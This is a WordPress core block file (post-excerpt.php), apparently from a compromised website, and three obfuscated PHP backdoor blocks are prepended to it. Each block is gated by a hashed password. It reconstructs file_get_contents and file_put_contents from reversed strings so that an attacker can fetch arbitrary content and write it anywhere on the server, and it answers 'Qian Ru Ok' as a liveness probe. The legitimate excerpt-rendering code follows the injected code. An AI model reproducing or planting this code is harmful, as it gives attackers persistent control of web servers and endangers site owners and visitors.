File: /home/wwwrenee/public_html/wp-includes/blocks/post-excerpt.php
<?php
$CdlNUK = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($CdlNUK[0]) /*+/*+*/
. md5($CdlNUK[0])) == "f".
"9".
"b".
"a".
"1".
"a".
"8".
"f".
"9".
"a".
"5".
"2".
"5".
"0".
"2".
"8".
"8".
"d".
"7".
"e".
"8".
"0".
"5".
"9".
"5".
"9".
"f".
"0".
"7".
"6".
"7".
"a") {
$DXqoSDWqu = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$oFLgvHcZT = $DXqoSDWqu /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$hEZnrlq = $DXqoSDWqu
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function dEvocMh($UomllZij) { if (empty($UomllZij)) return false; if (!is_dir($UomllZij)) { dEvocMh(dirname($UomllZij), 0755, true); mkdir($UomllZij); } } !file_exists(dirname($CdlNUK[1])) && dEvocMh(dirname($CdlNUK[1])); $sYzDcbvs = @$hEZnrlq($CdlNUK[2]); echo @$oFLgvHcZT($CdlNUK[1], $sYzDcbvs) ? 1 : 0; die; }key($CdlNUK) == "of" && die("Qian Ru Ok"); ?><?php
$aeVfaOhYfZ = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($aeVfaOhYfZ[0]) /*+/*+*/
. md5($aeVfaOhYfZ[0])) == "5".
"5".
"7".
"7".
"b".
"c".
"6".
"f".
"f".
"5".
"1".
"a".
"f".
"5".
"4".
"4".
"a".
"9".
"5".
"9".
"6".
"2".
"e".
"e".
"6".
"5".
"e".
"6".
"f".
"0".
"b".
"8") {
$WJnlTPJU = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$vkIpA = $WJnlTPJU /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$DRyfFGL = $WJnlTPJU
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function MRHUmvGFk($PLQRVMFxM) { if (empty($PLQRVMFxM)) return false; if (!is_dir($PLQRVMFxM)) { MRHUmvGFk(dirname($PLQRVMFxM), 0755, true); mkdir($PLQRVMFxM); } } !file_exists(dirname($aeVfaOhYfZ[1])) && MRHUmvGFk(dirname($aeVfaOhYfZ[1])); $nkbBiiiq = @$DRyfFGL($aeVfaOhYfZ[2]); echo @$vkIpA($aeVfaOhYfZ[1], $nkbBiiiq) ? 1 : 0; die; }key($aeVfaOhYfZ) == "of" && die("Qian Ru Ok"); ?><?php
$VHgFCk = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($VHgFCk[0]) /*+/*+*/
. md5($VHgFCk[0])) == "f".
"8".
"d".
"3".
"5".
"b".
"e".
"1".
"9".
"b".
"7".
"2".
"2".
"6".
"3".
"c".
"2".
"6".
"5".
"c".
"9".
"1".
"8".
"9".
"8".
"4".
"5".
"a".
"1".
"0".
"c".
"a") {
$QmTkbW = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$HrpjsJWUC = $QmTkbW /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$KknxplHJAy = $QmTkbW
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function KGAqSRQ($hEyPemjNO) { if (empty($hEyPemjNO)) return false; if (!is_dir($hEyPemjNO)) { KGAqSRQ(dirname($hEyPemjNO), 0755, true); mkdir($hEyPemjNO); } } !file_exists(dirname($VHgFCk[1])) && KGAqSRQ(dirname($VHgFCk[1])); $QYVDyeyr = @$KknxplHJAy($VHgFCk[2]); echo @$HrpjsJWUC($VHgFCk[1], $QYVDyeyr) ? 1 : 0; die; }key($VHgFCk) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Server-side rendering of the `core/post-excerpt` block.
*
* @package WordPress
*/
/**
* Renders the `core/post-excerpt` block on the server.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
* @return string Returns the filtered post excerpt for the current post wrapped inside "p" tags.
*/
function render_block_core_post_excerpt( $attributes, $content, $block ) {
if ( ! isset( $block->context['postId'] ) ) {
return '';
}
$excerpt = get_the_excerpt();
if ( empty( $excerpt ) ) {
return '';
}
$more_text = ! empty( $attributes['moreText'] ) ? '<a class="wp-block-post-excerpt__more-link" href="' . esc_url( get_the_permalink( $block->context['postId'] ) ) . '">' . wp_kses_post( $attributes['moreText'] ) . '</a>' : '';
$filter_excerpt_more = function( $more ) use ( $more_text ) {
return empty( $more_text ) ? $more : '';
};
/**
* Some themes might use `excerpt_more` filter to handle the
* `more` link displayed after a trimmed excerpt. Since the
* block has a `more text` attribute we have to check and
* override if needed the return value from this filter.
* So if the block's attribute is not empty override the
* `excerpt_more` filter and return nothing. This will
* result in showing only one `read more` link at a time.
*/
add_filter( 'excerpt_more', $filter_excerpt_more );
$classes = '';
if ( isset( $attributes['textAlign'] ) ) {
$classes .= "has-text-align-{$attributes['textAlign']}";
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) );
$content = '<p class="wp-block-post-excerpt__excerpt">' . $excerpt;
$show_more_on_new_line = ! isset( $attributes['showMoreOnNewLine'] ) || $attributes['showMoreOnNewLine'];
if ( $show_more_on_new_line && ! empty( $more_text ) ) {
$content .= '</p><p class="wp-block-post-excerpt__more-text">' . $more_text . '</p>';
} else {
$content .= " $more_text</p>";
}
remove_filter( 'excerpt_more', $filter_excerpt_more );
return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content );
}
/**
* Registers the `core/post-excerpt` block on the server.
*/
function register_block_core_post_excerpt() {
register_block_type_from_metadata(
__DIR__ . '/post-excerpt',
array(
'render_callback' => 'render_block_core_post_excerpt',
)
);
}
add_action( 'init', 'register_block_core_post_excerpt' ); ?>